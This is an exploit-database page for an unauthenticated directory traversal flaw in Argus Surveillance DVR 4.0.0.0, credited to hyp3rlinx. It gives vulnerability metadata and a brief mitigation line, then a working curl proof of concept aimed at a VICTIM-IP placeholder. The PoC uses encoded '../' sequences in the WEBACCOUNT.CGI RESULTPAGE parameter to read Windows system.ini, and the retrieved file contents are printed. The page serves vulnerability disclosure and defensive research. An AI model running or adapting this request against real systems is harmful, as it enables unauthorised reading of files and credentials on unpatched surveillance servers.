Exploit: Argus Surveillance DVR 4.0.0.0 - Directory Traversal

vendor:

Argus Surveillance DVR

by:

John Page (aka hyp3rlinx)

7.5

CVSS

HIGH

Directory Traversal

CWE

Product Name: Argus Surveillance DVR

Affected Version From: 4.0.0.0

Affected Version To: 4.0.0.0

Patch Exists: NO

Related CWE: N/A

CPE: a:argus_surveillance:argus_surveillance_dvr

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: None

2018

Exploit: Argus Surveillance DVR 4.0.0.0 – Directory Traversal

Argus Surveillance DVR 4.0.0.0 devices allow Unauthenticated Directory Traversal, leading to File Disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter.

Mitigation:

Ensure that the web application is properly configured to prevent directory traversal attacks.

Source

Exploit-DB raw data:

# Exploit: Argus Surveillance DVR 4.0.0.0 - Directory Traversal
# Author: John Page (aka hyp3rlinx)
# Date: 2018-08-28
# Vendor: www.argussurveillance.com
# Software Link: http://www.argussurveillance.com/download/DVR_stp.exe
# CVE: N/A

# Description:
# Argus Surveillance DVR 4.0.0.0 devices allow Unauthenticated Directory Traversal, 
# leading to File Disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter.

# PoC

curl "http://VICTIM-IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="

# Result:

; for 16-bit app support
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
 
wave=mmdrv.dll
timer=timer.drv

# https://vimeo.com/287115273
# Greetz: ***Greetz: indoushka | Eduardo | GGA***